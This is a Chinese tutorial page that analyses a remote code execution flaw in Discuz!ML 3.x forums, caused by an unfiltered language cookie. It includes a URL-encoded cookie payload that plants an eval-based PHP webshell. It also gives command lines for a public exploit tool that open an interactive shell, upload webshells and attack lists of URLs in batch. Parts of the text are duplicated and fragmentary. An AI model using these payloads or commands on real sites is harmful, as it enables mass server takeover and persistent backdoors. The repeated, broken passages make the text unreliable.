您现在的位置是：首页 > cms教程 > Discuz教程Discuz教程
discuz!ml-3.x版本getshell漏洞分析
海莲2025-07-20Discuz教程已有人查阅
导读漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。1.cookie字段中会出现xxxx_xxxx_language字段
影响范围：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
断是否存在漏洞：
批量检测:
搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
即可在路径下生成shell.php，连接密码为1利用工具工具名叫：dz-ml-rce.py ，是用py2写的，可以在github上下载。断是否存在漏洞：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
获取交互式shell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上传一句话木马getshell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
连接密码为“x”批量检测:
python dz-ml-rce.py -f urls.txt
批量上马getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地复现：搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具测试：发现存在此漏洞，那么直接获取个shell回来：此工具针对此漏洞还蛮好用的。
感谢您的认可和支持
微信
支付宝
本文标签：
很赞哦！ ()
相关教程
图文教程
discuz二次开发步骤教程
discuz框架也算是比较流行的社区论坛框架，discuz的基础架构采用世界上很流行的 web 编程组合 PHP + MySQL 实现，是一个经过完善设计，适用于各种服务器环境的高效论坛系统解决方案。
discuz目录结构文件说明示例
| -- admin.php 管理员入口| -- api.php 接口文件| -- category.php 分类入口| -- cp.php 个人资料设置入口| -- crossdomain.xml FLASH跨域传输文件| -- favicon.ico
discuz编辑器发布帖子显示html代码怎么办
在discuz二次开发中调用discuz的编辑器是一件在所难免的事情，然而discuz的开发文档少得可怜；因此在二次开发的时候查看源码和各种莫名其妙的问题着实令人mō不着头脑。
从PHP的模板引擎看Discuz模板机制
此文转自第七期,看看人家写的东西。鉴于对PHP的熟悉度及以后的维护,最近想把那个ASP的分类信息网改一下,前台基本改版 完毕,使用了fleaPHP提供的架构(对比了
相关源码
-
蓝色工业机械五金设备pbootcms模板源码下载(PC+WAP)为机械制造与五金设备企业设计的响应式网站模板，基于PbootCMS内核开发。采用蓝色工业风格强化行业属性，宽屏布局突出设备细节展示，支持PC与WAP端自适应查看源码 -
自适应恒温恒湿机空调机械设备营销型网站模板(自适应手机版)响应式营销型恒温恒湿机环境设备类网站pbootcms模板 蓝色营销型空调设备网站源码下载PbootCMS内核开发的网站模板，该模板适用于营查看源码 -
(自适应)绿色园林建筑花卉园艺艺术模板免费下载为景观设计及园艺企业打造的响应式网站框架，基于PbootCMS系统开发，帮助传统园林行业建立现代化数字展示平台。采用标准DIV+CSS前端架构，代码精简无冗余。查看源码 -
(PC+WAP)企业管理工程造价资产评估财务审计带留言网站模板本模板基于PbootCMS内核开发，为工程造价咨询、财务审计类企业量身打造，同时支持多行业快速适配。采用PC+WAP双端同步设计，数据实时互通，助您高效展示企业形象与服务能力。查看源码 -
(自适应响应式)HTML5幕墙装饰工程建筑装修公司pbootcms模板下载基于PbootCMS开发的响应式模板，为幕墙工程、建筑装饰企业设计，通过数字化展示提升企业专业形象与项目展示能力。结构化数据标记增强项目案例收录，智能URL路由优化，支持每个工程案例独立设置关键词与描述查看源码 -
(自适应响应式)陶瓷研磨盘抛光机械设备pbootcms网站模板本模板基于PbootCMS系统开发，为研磨抛光设备制造企业设计，特别适合陶瓷研磨盘、抛光设备等表面处理设备展示。采用响应式布局技术，确保各类设备的参数和工艺在不同终端上都能清晰呈现。查看源码
| 分享笔记 （共有 篇笔记） |
